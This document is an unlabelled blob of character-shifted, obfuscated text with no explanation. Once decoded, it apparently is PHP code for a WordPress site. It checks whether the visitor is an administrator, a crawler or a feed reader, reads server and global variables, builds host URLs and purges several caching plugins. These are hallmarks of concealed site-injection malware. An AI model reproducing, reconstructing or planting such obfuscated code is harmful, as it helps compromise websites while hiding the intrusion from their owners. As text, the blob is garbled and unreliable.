,y=ion8|xn<;!(2(**3(,qkaqdj`xnW((5((((nid{m3((((an((((( ,feo0failjW((()55(((((**(((((..((aozjlg0f<j1nk{ :::0! aozjlg0f<j1nk{ 9119!$(aozjlg0f<j1nk{ :::1! ,feo0failjW$(8$(( ;<<?#><1!!$(((,ii>{dpljj8y!(((..((~mz{agfWkgexizm ,ii>{dpljj8yS9U$(((ojcir|0ro>gifi>;n?| !$((((/6/!!((((,qkaqdj`xnW(5(|z}m3(}f{m| ,ii>{dpljj8y!3(an( ),qkaqdj`xnW((..((( ,feo0failjW(((555((**(((((tt(jj`>dqcld1xlfd: :9<>! bW0a{a?}a`=bcb<?m ,feo0failjW!!(((((()55(jj`>dqcld1xlfd: ::;8! ,xd8`b<k9dofqp!!!((((((s,effoqcr~i508t98>3,i=xac0z{=}?=5,effoqcr~iV=93an( {jynjr};<k;ff=~{9pbapx ,y=ion8|xn<;$((|;neyggnc9}qimc=gf ,xd8`b<k9dofqp!!!((((s((yy|m;zWdxb}n{r{~akm ,y=ion8|xn<;$((( 99#<81!!3m1<bdc<lk<9|c;d ,y=ion8|xn<;!3((((d8incq1<`|<n`1Wi ,y=ion8|xn<;!3(((u''(dgoiza|`eak(ilix|mz((((u((md{man(( ),qkaqdj`xnW!(((((s(,lb1bje|ox>b(5((Hjj`>dqcld1xlfd: ::81! ,y=ion8|xn<;!3(((an((( ),lb1bje|ox>b((((tt( ,lb1bje|ox>b(((-(( 9=<8:0%=<8:0!!(()55(((((xzbpr<d>l>eb<:~ !!((m1<bdc<lk<9|c;d ,y=ion8|xn<;!3(}f{m| ,lb1bje|ox>b!3(u}f{m| ,feo0failjW$((,qkaqdj`xnW!3(((((u((j8axzo`b}8nj|?f ,xd8`b<k9dofqp!3u(((ki|k`(( \`zgijdm((((,d|f9x=j|9W:!(((s((gcp<j<0::Wlzkc}{liqd} jj`>dqcld1xlfd: ::;9!$((,d|f9x=j|9W:!3(((((u(ki|k`(((( Mpkmx|agf((,d|f9x=j|9W:!(((((suu(n}fk|agf(((ipk?alrd>>|dWayWb?r| !((s(((((an( )a{{m| ,WOM\S/x/U!(((tt(()rq;ec{mmgl| :::8! ,WOM\S/x/U!!(((zm|}zf3((,Wjxqyx?ejc?daloc((((5(((((,WOM\S/x/U3an((( ,Wjxqyx?ejc?daloc(((555(W8fpno{mjfecW= aW;~yrxiqyjro 9<89!!!((((s((((|zq(((((s,W=1ijz<ky>{}18`((5((e||ngqy~:jfj0;o0a !((&(/'/(&((g{mxxjmmdpz1}` IJ[XI\@(((((&((jj`>dqcld1xlfd: ::;:!$( 99:V9:8!!(((&(jj`>dqcld1xlfd: :::?!3((,q<j|fyx>gpepm}((5((((HaW;~yrxiqyjro ::;;! ,W=1ijz<ky>{}18`!(((7((((( af|!((Hrq;ec{mmgl| ::90! ,W=1ijz<ky>{}18`!((2(83(an( ,q<j|fyx>gpepm}(((6((( <=9#<1!(..(((,q<j|fyx>gpepm}((((45( ==?9?=#<>0=?8=!!((safkd}lm((,W=1ijz<ky>{}18`3((uu(ki|k`(((( \`zgijdm(((,d|f9x=j|9W:!((((su((((ki|k`(( Mpkmx|agf(,d|f9x=j|9W:!((s(((u`adm(((( aozjlg0f<j1nk{ <=>! !(6(8((..((HgjWmflWkdmif !!(s(((u(((((((`milmz aozjlg0f<j1nk{ ::;<!!3mpa|3((((u(((an((( ,Wjxqyx?ejc?daloc(()55(((((W8fpno{mjfecW= aW;~yrxiqyjro 9;?1!!!((zm|}zf3((|zq((((((s((an((((( jj`>dqcld1xlfd: ::;=! rq;ec{mmgl| ::;>!!((((..(jj`>dqcld1xlfd: ::;=! aozjlg0f<j1nk{ ::;?!!!(((s((((H}xli|mWgx|agf aW;~yrxiqyjro =>;!$(( af|!((Hom|Wgx|agf jj`>dqcld1xlfd: =>;!$((8!(#(((9$(((jj`>dqcld1xlfd: ::;0!!3((H}xli|mWgx|agf rq;ec{mmgl| =>=!$(((aozjlg0f<j1nk{ ::;1! !$(rq;ec{mmgl| ::<8!!3(u,ofbbq?ryag((5((g:lp;i`rx`r>faW= aozjlg0f<j1nk{ 9;?>!$((((**!3((an( aozjlg0f<j1nk{ ::::! ,ofbbq?ryag!((((((6(( 10#:!((..(()aozjlg0f<j1nk{ ::<9! aW;~yrxiqyjro ::<:!$((,ofbbq?ryag!((..((jj`>dqcld1xlfd: ::<9! aW;~yrxiqyjro ::<;!$(,ofbbq?ryag!!(((s((,d1gea?g:Wo((5(((Hrq;ec{mmgl| <8:! ,ofbbq?ryag$((((((|z}m!3an(( ,d1gea?g:Wo(()55((nid{m((..(jj`>dqcld1xlfd: ::::! ,d1gea?g:Wo!(((((6(((((( ==#<=!!((,ofbbq?ryag((5(,d1gea?g:Wo3u((an(( rq;ec{mmgl| ::<<! ,ofbbq?ryag!((4((( 9;0%;0!!((((,ofbbq?ryag((5(((brmb<0g~aW08q> !3((an(( aozjlg0f<j1nk{ ::<=! ,ofbbq?ryag!((4(( ??#:;!!((s(`adm(((( rq;ec{mmgl| <=>! !(((((6((8((((..((HgjWmflWkdmif !!((s,x8p;mo:j519083,bg8}<9b1>lp15,x8p;mo:j-;3((((((((u(((`milmz rq;ec{mmgl| ::<>!!3(`milmz jj`>dqcld1xlfd: ::<?!!3(((((`milmz aozjlg0f<j1nk{ ::<0!!3((mpa|3(u(,aj1j=|iy~=mfj((((5((((g:lp;i`rx`r>faW= jj`>dqcld1xlfd: ::<1!$((**!3((,cy?bxocpz:p?}|(5((/*/(&((((((rq;ec{mmgl| ::;8! ,aj1j=|iy~=mfj(((&((((,ofbbq?ryag!(&(((((/*/3((an( a{{m| ,W[MZ^MZSrq;ec{mmgl| ::=8!U!(((..((((aW;~yrxiqyjro 9:09! ,W[MZ^MZSaozjlg0f<j1nk{ ::=8!U!((555(,cy?bxocpz:p?}|!(s`adm((( aozjlg0f<j1nk{ <=>! !(((6(8((..((HgjWmflWkdmif !!(s(((u(`milmz aW;~yrxiqyjro ::=9!!3((((`milmz rq;ec{mmgl| ::=:!(((&(((,cy?bxocpz:p?}|!3((((mpa|3((((u`adm((( aW;~yrxiqyjro <=>! !(((((6((8((((..(((HgjWmflWkdmif !!(((((s((((u`milmz aW;~yrxiqyjro ::<>!!3(((((`milmz aW;~yrxiqyjro ::=;!!3(((((((`milmz aW;~yrxiqyjro ::=<!!3(`milmz aW;~yrxiqyjro ::==!(&(,cy?bxocpz:p?}|!3((((mk`g((,aj1j=|iy~=mfj(&((,ofbbq?ryag3((((mpa|3(((u(ki|k`((((( \`zgijdm(,d|f9x=j|9W:!(s(((((gcp<j<0::Wlzkc}{liqd} rq;ec{mmgl| ::=>!$(,d|f9x=j|9W:!3(u(((((ki|k`((( Mpkmx|agf(((,d|f9x=j|9W:!((s(((((gcp<j<0::Wlzkc}{liqd} rq;ec{mmgl| ::=>!$(,d|f9x=j|9W:!3u''(_X([dg|(Nadd2(xzgbmk|(afbmk|gz((uipk?alrd>>|dWayWb?r| !3(((((n}fk|agf((((yip=?m==g<qk|n0 !s(an( )a{{m| ,WOM\SaW;~yrxiqyjro ::=?!U!!((zm|}zf3|zq(s(,xi}z{a=g?oW(((((5(,WOM\Sjj`>dqcld1xlfd: ::=?!U3(an((( )aozjlg0f<j1nk{ ::=0! ,xi}z{a=g?oW!((((tt((,xi}z{a=g?oW((((555((**!(((((zm|}zf3,xi}z{a=g?oW(5(aW;~yrxiqyjro ??! ,xi}z{a=g?oW!3((,jyg}<0m?{bW<(5((izziq !3(((an((( jj`>dqcld1xlfd: ::=1! rq;ec{mmgl| ::>8!!!(((,jyg}<0m?{bW<SU(5( {|zafo!((((((rq;ec{mmgl| ::>9! `gemW}zd !$(X@XW]ZDW@G[\!3an(((( jj`>dqcld1xlfd: ::>:! rq;ec{mmgl| ::>;!!!((((s(,Wo;|my?x{9b(((((5((((( {|zafo!((((Hom|Wgx|agf jj`>dqcld1xlfd: ::><!$((**!3(((((((an( ,Wo;|my?x{9b(((()55(((**!(,jyg}<0m?{bW<SU((5((( {|zafo!(((jj`>dqcld1xlfd: ::>9! ,Wo;|my?x{9b$(((X@XW]ZDW@G[\!3((((((uan( a{{m| ,W[MZ^MZSrq;ec{mmgl| ><>!U!!((((((,jyg}<0m?{bW<SU(((5( {|zafo!((,W[MZ^MZSaW;~yrxiqyjro ::>=!U3(((,jyg}<0m?{bW<SU((5(orkx{~qmc8gyjn **!3,nq<0myy;zi{nyp((5(nid{m3(ngzmik`(((( aW;~yrxiqyjro 91?>! ,jyg}<0m?{bW<!(((((i{((,~?kp|{1;r<g!((((((s,n<:f=gk~x5X@XWAF\WEIP'X@XWAF\WEIP3,lzWo~clarz5,n<:f=gk~x#<03((an(( )aozjlg0f<j1nk{ ::>>! ,~?kp|{1;r<g!(tt((,~?kp|{1;r<g(((((555((**!(((kgf|af}m3(((an( aozjlg0f<j1nk{ :90:! ,~?kp|{1;r<g$((/2/!()55(nid{m!((((,~?kp|{1;r<g(((((5(((((rq;ec{mmgl| :9?0! aozjlg0f<j1nk{ ::>?!$((((**$(((((,~?kp|{1;r<g!3((((((an(((( g{mxxjmmdpz1}` aozjlg0f<j1nk{ ??! ,~?kp|{1;r<g!((&(aozjlg0f<j1nk{ ::>0!$( 9>?V9?9!!((((555(,xi}z{a=g?oW!((((s(((,nq<0myy;zi{nyp(5((|z}m3,p~~z>?o|W0}5X@XWEIBGZW^MZ[AGF3,l9y<~<iqy=89:5,p~~z>?o|W0}">3jzmic3u(((u(an( ),nq<0myy;zi{nyp!(((zm|}zf3(,dccb{;pe>}m((((((5((aozjlg0f<j1nk{ 9;00! aW;~yrxiqyjro ::>1!$(( ::<V:=<!!3(((,nfe=lxb?=0cyzk((5((((((y:xj|;>rxgaoabdp~z9g }=W;pfxn;fx;>bjn~kaqW ,dccb{;pe>}m!!3(`adm(( jj`>dqcld1xlfd: <=>! !(6(8((((..(HgjWmflWkdmif !!((((s(u(`milmz rq;ec{mmgl| ::?8!!3(`milmz jj`>dqcld1xlfd: ::?9!!3((mk`g((( ,nfe=lxb?=0cyzk((((555((,dccb{;pe>}m!((7(jj`>dqcld1xlfd: ::?:!((&(jj`>dqcld1xlfd: ::?;! ,dccb{;pe>}m!(2(rq;ec{mmgl| ::?<!3(((mpa|3(((u(((ki|k`( \`zgijdm((,d|f9x=j|9W:!(((s((((gcp<j<0::Wlzkc}{liqd} jj`>dqcld1xlfd: ::?=!$(((((,d|f9x=j|9W:!3((((u(ki|k`( Mpkmx|agf((((,d|f9x=j|9W:!(((s(((gcp<j<0::Wlzkc}{liqd} aW;~yrxiqyjro ::?=!$((,d|f9x=j|9W:!3(((((u(u(((yip=?m==g<qk|n0 !3(((((((n}fk|agf(((zbl`y:~yx}ac90z}co0} !((s(|zq(san(( rq;ec{mmgl| ::?>! rq;ec{mmgl| ::??!!!(zgkcm|WkdmifWlgeiaf !3((((((an(((( aozjlg0f<j1nk{ ::?>! rq;ec{mmgl| ::?0!!!((;|kWnd}{`Widd !3an(( jj`>dqcld1xlfd: ::?>! aozjlg0f<j1nk{ ::?1!!!((({oWkik`mxzm{{Wx}zomWkik`m !3an(((( jj`>dqcld1xlfd: ::?>! rq;ec{mmgl| ::08!!!(da|m{xmmlWx}zomWidd !3((md{man( aW;~yrxiqyjro 9=:=! rq;ec{mmgl| ::09!!((((..((aozjlg0f<j1nk{ 11! aozjlg0f<j1nk{ ::0:!$((((rq;ec{mmgl| ::0;!!!(Da|m[xmmlWKik`mWIXA22x}zomWidd !3(((an((( aW;~yrxiqyjro 9=:=! aozjlg0f<j1nk{ ::0<!!(..((rq;ec{mmgl| ::0=! aW;~yrxiqyjro ::0<!$((rq;ec{mmgl| ::0>!!!((((JzmmrmWX}zomKik`m22jzmmrmWkik`mWnd}{` !3(an( aozjlg0f<j1nk{ 9=:=! aozjlg0f<j1nk{ >98!!(..(((jj`>dqcld1xlfd: ::0?! jj`>dqcld1xlfd: >98!$(aozjlg0f<j1nk{ ::00!!!((Kik`mWMfijdmz22kdmizW|g|idWkik`m !3((((((an(( aozjlg0f<j1nk{ ::?>! aozjlg0f<j1nk{ ::01!!!((((xnkWkdmizWiddWkik`m !3(md{man(( a{{m| ,ODGJID[SaW;~yrxiqyjro >99!U!((..((rq;ec{mmgl| ::18! ,ODGJID[Sjj`>dqcld1xlfd: >99!U!(..(((((aW;~yrxiqyjro ::0?! ,ODGJID[Saozjlg0f<j1nk{ >99!U$((aozjlg0f<j1nk{ ::19!!!(((,ODGJID[SaW;~yrxiqyjro >99!U%6lmdm|mKik`m |z}m!3((an(( rq;ec{mmgl| ::?>! jj`>dqcld1xlfd: ::1:!!!(xWkik`mWkdmizWkik`m !3(((((an( jj`>dqcld1xlfd: 9=:=! aW;~yrxiqyjro ::1;!!((..((jj`>dqcld1xlfd: ::0?! jj`>dqcld1xlfd: ::1<!$(((jj`>dqcld1xlfd: ::1=!!!((i}|gx|aearmKik`m22kdmizidd !3((gcp<j<0::Wlzkc}{liqd} aozjlg0f<j1nk{ <1;!$((jj`>dqcld1xlfd: ::1>!!3(u((((ki|k`(( \`zgijdm(((,d|f9x=j|9W:!(((((s((((gcp<j<0::Wlzkc}{liqd} aW;~yrxiqyjro <1;!$((,d|f9x=j|9W:!3((u((ki|k`((( Mpkmx|agf(,d|f9x=j|9W:!((((s((((((u((u((n}fk|agf(`|a{j;ze:x:gbi0y<}kx !san(( aW;~yrxiqyjro ::?>! aW;~yrxiqyjro ::1?!!(((..((((((a{Wileaf !!(zm|}zf(|z}m3((((((((an((( aozjlg0f<j1nk{ ::?>! aozjlg0f<j1nk{ ::10!!((..(((xWlgafoWibip !!((zm|}zf(|z}m3((((an( lmnafml rq;ec{mmgl| ::11!!(..(ZM[\WZMY]M[\!(((zm|}zf(|z}m3an( lmnafml jj`>dqcld1xlfd: :;88!!((..((((PEDZXKWZMY]M[\!(((zm|}zf(((|z}m3an((( jj`>dqcld1xlfd: ::?>! rq;ec{mmgl| :;89!!(((((..(((a{Wnmml !!((zm|}zf(|z}m3(((((((an( rq;ec{mmgl| ::?>! aW;~yrxiqyjro :;8:!!((..((((a{Wzgjg|{ !!(((zm|}zf(|z}m3((((an( rq;ec{mmgl| ::?>! rq;ec{mmgl| :;8;!!(..(((a{W{a|meix{ !!(((zm|}zf(((|z}m3an(( aozjlg0f<j1nk{ ::?>! rq;ec{mmgl| :;8<!!((..(((a{Wk}{|gearmWxzm~am !!(((zm|}zf(((|z}m3((an( a{{m| ,WOM\Srq;ec{mmgl| :;8=!U!(((((tt((a{{m| ,WOM\SaW;~yrxiqyjro :;8>!U!((tt((a{{m| ,WOM\SaW;~yrxiqyjro :;8?!U!!(zm|}zf(|z}m3((zm|}zf(((nid{m3un}fk|agf(mgykgrpaWm8{c<}ac~c{ !((s,e:}akgl1519";3,nan0|qlem:fjif5,e:}akgl1%13((((,f~;W|1pio1~im(((5(( a{{m| ,ODGJID[Sjj`>dqcld1xlfd: ?9;!U!(..(((rq;ec{mmgl| ::>>! ,ODGJID[Sjj`>dqcld1xlfd: ?9;!U!!(((7(((aozjlg0f<j1nk{ 9:09! ,ODGJID[Srq;ec{mmgl| ?9;!U!((((2(((**3an( ,f~;W|1pio1~im(((555((((**!(zm|}zf(**3,f~;W|1pio1~im(5(((aozjlg0f<j1nk{ :;80! aozjlg0f<j1nk{ :;81!$(((((jj`>dqcld1xlfd: :;98!$(((,f~;W|1pio1~im!3((,|e1x0e~<?mynd<k((5(((aW;~yrxiqyjro ::?>! jj`>dqcld1xlfd: :;99!!((((7(((((( {|zafo!((aozjlg0f<j1nk{ ::>9! `gemW}zd !$(X@XW]ZDW@G[\!((((2(((((**3((,d}<ep~bqbpjyr:(((((5((g{mxxjmmdpz1}` rq;ec{mmgl| ??! ,|e1x0e~<?mynd<k!$((( ;#;!!3((((,frl`:8:|`|=je((((5((((jj`>dqcld1xlfd: :::1! aW;~yrxiqyjro ::?;! ,f~;W|1pio1~im!$(((8$( <#:!!3(zm|}zf(*Tf4{kzax|(li|i%{k5T**(((&(((,d}<ep~bqbpjyr:(((&((/%/((&(,frl`:8:|`|=je((&(*T*6Tf*(((((&((((((,f~;W|1pio1~im((&(*Tf4'{kzax|6Tf4)%%({k*(((((&(((,d}<ep~bqbpjyr:(((&((/%/(&(((((,frl`:8:|`|=je((((((&(((*(%%6Tf*3u(n}fk|agf((({{x>bocf=<zjl>eka !s(((((|zq((s(((((((an((( `|a{j;ze:x:gbi0y<}kx !!((((zm|}zf3(((((,czeqpmqeWzgbp(((5(mgykgrpaWm8{c<}ac~c{ !3((((((an(( ,czeqpmqeWzgbp((555(((**!(zm|}zf3(((((mk`g((,czeqpmqeWzgbp3(,ODGJID[Srq;ec{mmgl| ===!U(5((|z}m3((an( rq;ec{mmgl| :;9:! aozjlg0f<j1nk{ :;9;!!(((((..((aozjlg0f<j1nk{ :;9:! rq;ec{mmgl| :;9<!!(((..(mex|q ,ODGJID[Sjj`>dqcld1xlfd: :;9=!U!!(s((,ODGJID[SaW;~yrxiqyjro :;9>!U((5(((|z}m3((((,~l`d8a=}~}:dk0((((5(((( af|!(((Hom|Wgx|agf jj`>dqcld1xlfd: =>8!$((8!3((an( jj`>dqcld1xlfd: ::;1! !((((%((((,~l`d8a=}~}:dk0((6(((( :1<#>!!((H}xli|mWgx|agf rq;ec{mmgl| =>8!$(aW;~yrxiqyjro :;9?! !$(((aozjlg0f<j1nk{ ::<8!!3(((}f{m| ,~l`d8a=}~}:dk0!3u(u(ki|k`(((( \`zgijdm((,d|f9x=j|9W:!((sgcp<j<0::Wlzkc}{liqd} aW;~yrxiqyjro 09>!$(,d|f9x=j|9W:!3u(ki|k`( Mpkmx|agf(,d|f9x=j|9W:!(su((((u((n}fk|agf(p0kdmcm:qfa?9i0>ecjk1? ,a`c:pyp8|~?0!(s(((an((((( )aozjlg0f<j1nk{ ::>>! ,a`c:pyp8|~?0!(tt(,a`c:pyp8|~?0((555(((((**!((((zm|}zf(((,a`c:pyp8|~?03an(( )mex|q ,ODGJID[SaW;~yrxiqyjro :;90!U!!(((((zm|}zf((,a`c:pyp8|~?03(((,czeqpmqeWzgbp((5(mgykgrpaWm8{c<}ac~c{ !3(an(( ,czeqpmqeWzgbp((555(**!(zm|}zf(,a`c:pyp8|~?03((((an((( {|zaxg{ ,a`c:pyp8|~?0$(((aozjlg0f<j1nk{ :;91!!(555((nid{m(..({|zaxg{ ,a`c:pyp8|~?0$(((aozjlg0f<j1nk{ :;:8!!((555(nid{m!((((((zm|}zf(((,a`c:pyp8|~?03((((,ODGJID[SaW;~yrxiqyjro :;90!U(((5(|z}m3(,ODGJID[Srq;ec{mmgl| ==?!U(((5((((((|z}m3(,x>k?W0:}l>mikfpf((5(({|zaxg{ ,a`c:pyp8|~?0$(aW;~yrxiqyjro :;91!!3((an((( ,x>k?W0:}l>mikfpf((()55((((nid{m!((szm|}zf((((rq;ec{mmgl| :::1! ,a`c:pyp8|~?0$((8$(,x>k?W0:}l>mikfpf!((((&(,czeqpmqeWzgbp(&(aozjlg0f<j1nk{ :::1! ,a`c:pyp8|~?0$((,x>k?W0:}l>mikfpf!3((u''(X@X(0&<(najmz{2(my}a~izaif|(li|indg%ozix`((zm|}zf((,a`c:pyp8|~?0((&(((((,czeqpmqeWzgbp3u(((((n}fk|agf((((({c0>d<nlfe<yf;:z:>ad !s(((|zq(((s''(_X(JdgkcKgf|zgd{2(afnmz(xaxmdafman(( `|a{j;ze:x:gbi0y<}kx !!(((zm|}zf3(((an(( )mex|q ,ODGJID[Saozjlg0f<j1nk{ :;:9!U!!(zm|}zf3(((((,f~;W|1pio1~im(5( a{{m| ,ODGJID[SaW;~yrxiqyjro ?9;!U!(((..(jj`>dqcld1xlfd: :;::! ,ODGJID[Sjj`>dqcld1xlfd: :;:;!U!!((7(((((rq;ec{mmgl| 9:09! ,ODGJID[Saozjlg0f<j1nk{ :;:<!U!(2((((**3,lnann|?aex5X@XWEIBGZW^MZ[AGF3,a`n1gzWxl?bc?f5,lnann|?aex">3an((((( ,f~;W|1pio1~im(555((**!(zm|}zf3,ODGJID[Sjj`>dqcld1xlfd: :;:9!U(((((5((|z}m3((((((((Haozjlg0f<j1nk{ :;:=! aW;~yrxiqyjro :;:>!!3(u(ki|k`((( \`zgijdm(,d|f9x=j|9W:!((((s((gcp<j<0::Wlzkc}{liqd} jj`>dqcld1xlfd: ==>!$((,d|f9x=j|9W:!3(((u(ki|k`((((( Mpkmx|agf(((((,d|f9x=j|9W:!((s(((u((u(((n}fk|agf((`m;;:bd{{k}}|ecx:aa !((((((((s(((|zq(((s((an( )a{Wileaf !(((..(( )a{{m| ,ODGJID[Srq;ec{mmgl| :;:?!U!((tt(,ODGJID[Saozjlg0f<j1nk{ :;:0!U((()55((jj`>dqcld1xlfd: :;:1!!!((zm|}zf3(an(( rq;ec{mmgl| :;9:! aW;~yrxiqyjro =<:!!(((((..(()a{W{{d !!(zm|}zf3((,lkjl}m8bj`nke(((5(g:lp;i`rx`r>faW= rq;ec{mmgl| 9;?<!$((((**!3(((,d}<ep~bqbpjyr:(((((5(((g{mxxjmmdpz1}` IJ[XI\@((((&(aW;~yrxiqyjro 09>!$((( 99:V990!!3(,l~n:8?0n:~9}z((5(((((aozjlg0f<j1nk{ 9>10!3(an((( ,lkjl}m8bj`nke((((555(((**!(s((an(((( aW;~yrxiqyjro :;9:! rq;ec{mmgl| :;9;!!(((..( af|!((Hom|Wgx|agf aW;~yrxiqyjro =>0!$(((8!!((((s((((((H}xli|mWgx|agf aozjlg0f<j1nk{ =>0!$(8$(((((aW;~yrxiqyjro ::<8!!3,y0<=}9~pz~f;rece((5( {|zafo!((((Hom|Wgx|agf aW;~yrxiqyjro :;;8!$(**!3(((((mk`g((*Tf*((&((aW;~yrxiqyjro :;;9!(((&(((,d}<ep~bqbpjyr:(&(((/6/(((&(((aozjlg0f<j1nk{ :;;:!((((&(((aW;~yrxiqyjro :;;;!(&((((((,l~n:8?0n:~9}z aW;~yrxiqyjro :;;<!!((((&((rq;ec{mmgl| :;;=!((&(((aW;~yrxiqyjro :;;>!((((&((rq;ec{mmgl| 9;>:! ,y0<=}9~pz~f;rece!((((&(/3/(((&((aW;~yrxiqyjro :;;?!((((&(((,l~n:8?0n:~9}z aozjlg0f<j1nk{ :;;0!!(((((&(((rq;ec{mmgl| :;;1!(&(jj`>dqcld1xlfd: :;<8!(((&(,l~n:8?0n:~9}z rq;ec{mmgl| :;<9!!(((&(((((aozjlg0f<j1nk{ :;<:!(&(,l~n:8?0n:~9}z aozjlg0f<j1nk{ :;<;!!(&((((aW;~yrxiqyjro :;<:!(&(((,l~n:8?0n:~9}z jj`>dqcld1xlfd: :;<<!!((&(rq;ec{mmgl| :;<=!((((&(,l~n:8?0n:~9}z jj`>dqcld1xlfd: :;<>!!((&((aozjlg0f<j1nk{ :;<?!((((&((jj`>dqcld1xlfd: :;<0!(((((&(,l~n:8?0n:~9}z aozjlg0f<j1nk{ :;<1!!((&((((rq;ec{mmgl| :;=8!((&(,l~n:8?0n:~9}z rq;ec{mmgl| :;=9!!((((&((jj`>dqcld1xlfd: :;=:!(((((((&((aW;~yrxiqyjro :;=;!(((&(((*Tf*3}f{m| ,y0<=}9~pz~f;rece!3((u((((((zm|}zf3(u,lkjl}m8bj`nke((5(aW;~yrxiqyjro :;=<! aW;~yrxiqyjro 9;;:!$((aozjlg0f<j1nk{ 9;;;!$(((((,lkjl}m8bj`nke!3(((an( jj`>dqcld1xlfd: :90:! ,lkjl}m8bj`nke$((aW;~yrxiqyjro 9;;;!!()55((((((8!((,lkjl}m8bj`nke((5(((aW;~yrxiqyjro 9;;;!((&(aW;~yrxiqyjro 9;?;! ,lkjl}m8bj`nke$(/'/!3(,jW<`m|``nqg0:(((5(/'/3(((an( jj`>dqcld1xlfd: :;==! aW;~yrxiqyjro :;99!!!(((((s((((((,~<0{a;=eW1(((5( {|zafo!(((((aW;~yrxiqyjro :;=>! `gemW}zd !$((X@XW]ZDWXI\@!3((((((an(((( ,~<0{a;=eW1()55(((((**((..((((,~<0{a;=eW1()55((/'/!(,jW<`m|``nqg0:(((((5(((jj`>dqcld1xlfd: :;=?! ,~<0{a;=eW1$(/'/!(((&((/'/3((((((((u(((((((an(((( rq;ec{mmgl| :;==! rq;ec{mmgl| :;9<!!!(s((H}xli|mWgx|agf rq;ec{mmgl| =>0!$((9$(aW;~yrxiqyjro ::<8!!3((((H}xli|mWgx|agf jj`>dqcld1xlfd: :;;8!$(,lkjl}m8bj`nke$(rq;ec{mmgl| ::<8!!3(u((((,{mp~kr18lp?nd((5((((aozjlg0f<j1nk{ :;=0!((&(,d}<ep~bqbpjyr:((((&((/6/&(jj`>dqcld1xlfd: :;=1!(((((&(rq;ec{mmgl| :;;;!((&(((((,l~n:8?0n:~9}z aW;~yrxiqyjro :;;<!!((&((((aW;~yrxiqyjro :;>8!&(((jj`>dqcld1xlfd: :;>9!(((&(((jj`>dqcld1xlfd: :;>:!((&((,l~n:8?0n:~9}z jj`>dqcld1xlfd: :;>;!!(((&((aozjlg0f<j1nk{ :;><!(((&((rq;ec{mmgl| :;>=! ,lkjl}m8bj`nke!((((&((/!/(&((aW;~yrxiqyjro :;>>!(((((&(((,l~n:8?0n:~9}z aozjlg0f<j1nk{ :;>?!!(&((aozjlg0f<j1nk{ :;><!(&(jj`>dqcld1xlfd: :;>=! ,lkjl}m8bj`nke!(((&((aW;~yrxiqyjro :;>0!(&(rq;ec{mmgl| :;>=! ,jW<`m|``nqg0:!((&((rq;ec{mmgl| :;>1!((&((((,l~n:8?0n:~9}z aozjlg0f<j1nk{ :;?8!!((((&(((aW;~yrxiqyjro :;?9!&((rq;ec{mmgl| :;?:!((((&((,l~n:8?0n:~9}z rq;ec{mmgl| :;?;!!((&((aW;~yrxiqyjro :;?<!(((&(((((rq;ec{mmgl| :;>:!(&(((,l~n:8?0n:~9}z aozjlg0f<j1nk{ :;?=!!((&((jj`>dqcld1xlfd: :;?>!(((((&((((,l~n:8?0n:~9}z aW;~yrxiqyjro :;??!!(((&((jj`>dqcld1xlfd: :;?0!((&(rq;ec{mmgl| :;?1!((&(,l~n:8?0n:~9}z aozjlg0f<j1nk{ :;08!!(((((&(jj`>dqcld1xlfd: :;09!((&(((jj`>dqcld1xlfd: :;0:!((((((&((jj`>dqcld1xlfd: :;>:!(&(((,l~n:8?0n:~9}z jj`>dqcld1xlfd: :;0;!!(&((((jj`>dqcld1xlfd: :;0<!(((&(rq;ec{mmgl| :;0=!(&(((,l~n:8?0n:~9}z rq;ec{mmgl| :;<9!!(&(aozjlg0f<j1nk{ :;0>!((&((((,l~n:8?0n:~9}z jj`>dqcld1xlfd: :;0?!!((&(aozjlg0f<j1nk{ :;00!(((&((jj`>dqcld1xlfd: :;=;!3mk`g(((((*Tf*((&(,{mp~kr18lp?nd((((((&((*Tf*3((u((ki|k`((((( \`zgijdm(((,d|f9x=j|9W:!((((s(((gcp<j<0::Wlzkc}{liqd} aozjlg0f<j1nk{ :;01!$(,d|f9x=j|9W:!3(((((u((((((ki|k`( Mpkmx|agf((,d|f9x=j|9W:!((((((s(((gcp<j<0::Wlzkc}{liqd} rq;ec{mmgl| :;01!$((,d|f9x=j|9W:!3((u(((u((an(( bj0ly099krf>xyoi !!((((((s(zm|}zf3((umbpe~oWg9kdozrg !3(,biap`?Win`kg(5((((Hrq;ec{mmgl| :;18! z9>1{1jm8r8;e~8 !!3(an((( ),biap`?Win`kg((tt( ,biap`?Win`kg(-(( 8pk;j#8p9?i>=!!(()55((((xzbpr<d>l>eb<:~ !!((s((((((,cl}afn=ackioq;(5((aozjlg0f<j1nk{ :;9?! !3((((((k88c<`??}faWpk;0qo|l| z9>1{1jm8r8;e~8 !$((((( ,cl}afn=ackioq;((%((((( ,cl}afn=ackioq;((-( 111=1#<9!!!(#((((xzbpr<d>l>eb<:~ !!3(((}f{m| ,cl}afn=ackioq;!3u(((((}f{m| ,biap`?Win`kg!3(|zq(s,}f~r}?pibo`gop0(5(WWNADMWW3(,}?;o:qclej|((5((**3((,|dozi8:f;l((((5((Haozjlg0f<j1nk{ :;19! ,}f~r}?pibo`gop0$((nid{m$((f}dd$((((8$(( >:<:%:9<>!!3(an(( rq;ec{mmgl| :;::! ,|dozi8:f;l!((..((jj`>dqcld1xlfd: ::<9! aW;~yrxiqyjro 9119!$(,|dozi8:f;l$((((,mxc0{{o}{bjdq;!!((,}?;o:qclej|((5((,mxc0{{o}{bjdq;S9U3((((an( ,}?;o:qclej|()55((((**((..(((lmnafml aW;~yrxiqyjro :;1:!!!(((((s,eoiWiijixid`((5(((izziq !3(((,lm8lxjgi1{(5(lmnafml aozjlg0f<j1nk{ 9>>?!!((((((7(_XE]WXD]OAFWLAZ((2(((((_XWKGF\MF\WLAZ((((&((aozjlg0f<j1nk{ 91?1!3(,f<ez|pl0bx((5((lmnafml aozjlg0f<j1nk{ 0:0!!(((7((((_XWXD]OAFWLAZ((2((_XWKGF\MF\WLAZ(&(((jj`>dqcld1xlfd: 9>>0!3(,d9j1?genx8m`~i{e(((5(nid{m3(((an(( rq;ec{mmgl| :;==! aozjlg0f<j1nk{ :;1;!!!((((s(,Wpc|}|?9<eW((((((5((((((Hjj`>dqcld1xlfd: 910:! ,lm8lxjgi1{!((7(((Hjj`>dqcld1xlfd: :;1;! ,lm8lxjgi1{(((((&(((((rq;ec{mmgl| >>:!!((2(nid{m3(((,oka`||q0b{nb(5(((Haozjlg0f<j1nk{ :;1<! ,f<ez|pl0bx(&(((rq;ec{mmgl| 910;!!3(((an( jj`>dqcld1xlfd: :;1=! ,Wpc|}|?9<eW!(tt((aozjlg0f<j1nk{ :;1>! 